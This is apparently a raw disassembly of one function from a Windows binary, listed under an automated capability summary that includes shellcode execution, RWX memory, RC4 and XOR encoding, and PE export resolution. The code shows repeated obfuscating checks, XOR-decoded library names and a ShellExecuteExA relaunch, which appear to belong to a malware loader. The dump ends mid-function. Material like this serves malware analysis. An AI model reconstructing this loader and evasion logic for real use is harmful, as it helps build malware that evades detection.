Function at 0x140017718
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.140086520
sub rsp, rax
mov rax, qword [0x1400e1700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x56]
mov r14d, 0xd745567d
mov r13d, 0xcc8395cb
cmp rax, r14
jne 0x14001780b
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400177eb
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400177eb
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001780b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov edi, 0xd745567d
mov ecx, edi
call fcn.14000ad24
mov rax, qword gs:[0x56]
movabs r12, 0xfee0f20abddaa1c0
cmp rax, r14
jne 0x1400178cb
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400178ab
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400178ab
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400178cb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
mov ebx, 0x2c2bb5e7
mov esi, 0x5c5c28a
mov r8d, 0xab19a096
cmp rax, r14
jne 0x140017992
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017972
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017972
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017992
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov ecx, edi
call fcn.140016ce0
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140017a43
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017a23
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017a23
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017a43
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140017aed
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017acd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017acd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017aed
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
lea rdx, [0x1400d5de0]
lea rcx, [rbp + 0x998]
call fcn.14000a6e8
mov rdx, rax
mov ecx, edi
call fcn.14000b7f0
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140017bb4
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017b94
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017b94
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017bb4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140017c5e
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017c3e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017c3e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017c5e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov dword [rbp + 0x90], 0xee1adb29
mov dword [rbp + 0x94], 0xfdad1e51
mov word [rbp + 0x98], 0xea
xor r15d, r15d
mov edi, r15d
movabs r12, 0x1825ef713
mov qword [rsp + 0x20], r12
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.140027010
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x140017c8b
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x56]
cmp rax, r14
movabs r12, 0xfee0f20abddaa1c0
jne 0x140017d87
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017d67
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017d67
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017d87
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140017e42
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017e22
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017e22
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017e42
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov dword [rbp + 0x1f0], 0x2f099e53
mov dword [rbp + 0x1f4], 0xfddbed82
mov dword [rbp + 0x1f8], 0x15ce66cf
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs r13, 0x1825ef713
mov qword [rsp + 0x20], r13
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.140026c6c
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x140017e75
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x56]
cmp rax, r14
mov r13d, 0xcc8395cb
jne 0x140017f6d
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017f4d
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017f4d
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017f6d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140016edc
test eax, eax
jne 0x140018219
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400afd80
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14001808a
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400afd80
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0x9bbc1ac1
mov word [rbp - 0x6c], reloc.WLDAP32.dll_Ordinal_50
movabs rsi, 0x1825ef713
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140026f9c
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x140017ffa
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1400268f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140018094
movabs rsi, 0x1825ef713
mov word [rsp + 0x78], Ordinal_217
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xd6
lea rcx, [rsp + 0x78]
call fcn.140026e44
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.140016d5c
mov rbx, rax
movdqa xmm0, xmmword [0x1400d7300]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400d7340]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xc853c11c
mov dword [rbp + 0xc1c], 0x5b91d399
mov dword [rbp + 0xc20], 0x834b3573
mov word [rbp + 0xc24], 0x42
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.140026f28
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x140018119
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140027fbc
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14002817c
lea rcx, [rbp + 0x9d8]
call fcn.140027ad4
lea rcx, [rbp + 0x9b8]
call fcn.140027ad4
movdqa xmm0, xmmword [0x1400d7490]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0xef
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.140026a24
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x1400181b2
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.140027728
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
mov edi, 0xab19a096
cmp rax, r14
jne 0x1400182d6
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400182b6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400182b6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400182d6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140018386
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018366
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018366
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018386
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001843f
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001841f
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001841f
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001843f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x1400184e9
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400184c9
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400184c9
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400184e9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140018593
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018573
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018573
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018593
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
xor ecx, ecx
call fcn.14008dff4
mov rbx, rax
mov word [rsp + 0x7c], Ordinal_143
movabs r13, 0x1825ef713
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x8d
lea rcx, [rsp + 0x7c]
call fcn.140026e44
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0x8d6f34c5
mov word [rbp - 0x5c], 0x3c1e
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
lea esi, [rax + 6]
mov qword [rsp + 0x20], r13
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140026ce4
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, rsi
jb 0x1400185e9
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400914d4
mov rax, qword gs:[0x56]
cmp rax, r14
mov r13d, 0xcc8395cb
jne 0x1400186f1
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x2c2bb5e7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400186d1
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400186d1
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400186f1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001879b
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001877b
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001877b
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001879b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov ecx, 2
call fcn.14008dff4
mov rbx, rax
mov word [rbp - 0x80], 0x88
movabs r13, 0x1825ef713
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x88
lea rcx, [rbp - 0x80]
call fcn.140026e44
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0x995ad8d6
mov dword [rbp - 0x34], 0x65c4a
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140026eb4
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x1400187e9
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400914d4
mov rax, qword gs:[0x56]
cmp rax, r14
mov r13d, 0xcc8395cb
jne 0x1400188f4
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x2c2bb5e7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400188d4
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400188d4
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400188f4
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001899e
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001897e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001897e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001899e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov ecx, 1
call fcn.14008dff4
mov rbx, rax
mov word [rbp - 0x7c], 0x88
movabs r12, 0x1825ef713
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0x88
lea rcx, [rbp - 0x7c]
call fcn.140026e44
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0x995ad8d6
mov dword [rbp - 0x2c], 0x65c4a
mov rdi, r15
mov qword [rsp + 0x20], r12
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140026eb4
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x1400189ec
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400914d4
mov rax, qword gs:[0x56]
cmp rax, r14
movabs r12, 0xfee0f20abddaa1c0
jne 0x140018ae6
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018ac6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018ac6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018ae6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140018b90
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018b70
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018b70
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018b90
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d71d0]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400d74b0]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400d73e0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x3377af97
mov dword [rbp + 0xd4c], 0x7fd1d545
mov dword [rbp + 0xd50], 0x7bde2132
mov word [rbp + 0xd54], 0x75a3
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
movabs rsi, 0x1825ef713
mov qword [rsp + 0x20], rsi
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140026dd0
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x140018bfc
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.14000a58c
mov rax, qword gs:[0x56]
mov ebx, 0x2c2bb5e7
cmp rax, r14
jne 0x140018d04
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018ce4
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018ce4
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018d04
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140018dae
